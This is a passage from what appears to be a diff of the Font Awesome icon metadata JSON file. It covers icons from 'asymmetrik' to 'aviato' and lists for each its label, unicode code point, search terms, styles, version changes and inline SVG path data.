8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z" + } + }, + "free": [ + "solid" + ] + }, + "asymmetrik": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f372", + "label": "Asymmetrik, Ltd.", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860966, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z" + } + }, + "free": [ + "brands" + ] + }, + "at": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "author", + "e-mail", + "email", + "handle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1fa", + "label": "At", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635319, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z" + } + }, + "free": [ + "solid" + ] + }, + "atlas": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "book", + "directions", + "geography", + "globe", + "map", + "travel", + "wayfinding" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f558", + "label": "Atlas", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635320, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z" + } + }, + "free": [ + "solid" + ] + }, + "atlassian": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f77b", + "label": "Atlassian", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860966, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z" + } + }, + "free": [ + "brands" + ] + }, + "atom": { + "changes": [ + "5.2.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "atheism", + "chemistry", + "electron", + "ion", + "isotope", + "neutron", + "nuclear", + "proton", + "science" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5d2", + "label": "Atom", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635320, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.50391,0,34.50782,5.375,37.88283,11.5C388.6593,167.25,384.7843,184.75,369.65538,208.25Z" + } + }, + "free": [ + "solid" + ] + }, + "audible": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f373", + "label": "Audible", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860966, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z" + } + }, + "free": [ + "brands" + ] + }, + "audio-description": { + "changes": [ + "4.6", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "blind", + "narration", + "video", + "visual" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f29e", + "label": "Audio Description", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635320, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M162.925 238.709l8.822 30.655h-25.606l9.041-30.652c1.277-4.421 2.651-9.994 3.872-15.245 1.22 5.251 2.594 10.823 3.871 15.242zm166.474-32.099h-14.523v98.781h14.523c29.776 0 46.175-17.678 46.175-49.776 0-32.239-17.49-49.005-46.175-49.005zM512 112v288c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48zM245.459 336.139l-57.097-168A12.001 12.001 0 0 0 177 160h-35.894a12.001 12.001 0 0 0-11.362 8.139l-57.097 168C70.003 343.922 75.789 352 84.009 352h29.133a12 12 0 0 0 11.535-8.693l8.574-29.906h51.367l8.793 29.977A12 12 0 0 0 204.926 352h29.172c8.22 0 14.006-8.078 11.361-15.861zm184.701-80.525c0-58.977-37.919-95.614-98.96-95.614h-57.366c-6.627 0-12 5.373-12 12v168c0 6.627 5.373 12 12 12H331.2c61.041 0 98.96-36.933 98.96-96.386z" + } + }, + "free": [ + "solid" + ] + }, + "autoprefixer": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41c", + "label": "Autoprefixer", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860967, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z" + } + }, + "free": [ + "brands" + ] + }, + "avianex": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f374", + "label": "avianex", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860967, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z" + } + }, + "free": [ + "brands" + ] + }, + "aviato": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f421", + "label": "Aviato", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860967, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 